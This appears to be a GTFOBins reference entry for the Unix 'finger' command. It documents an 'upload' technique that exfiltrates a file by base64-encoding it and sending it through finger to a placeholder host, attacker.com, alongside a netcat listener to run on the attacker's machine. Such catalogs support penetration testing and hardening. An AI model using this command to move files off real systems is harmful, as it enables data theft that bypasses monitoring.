GTFOBins.github.io/_gtfobins/finger.md

description, functions

description	functions
`finger` hangs waiting for the remote peer to close the socket.	upload description code Send a binary file to a TCP port. Run `sudo nc -l -p 79 | base64 -d > "file_to_save"` on the attacker box to collect the file. The file length is limited by the maximum size of arguments. RHOST=attacker.com LFILE=file_to_send finger "$(base64 $LFILE)@$RHOST"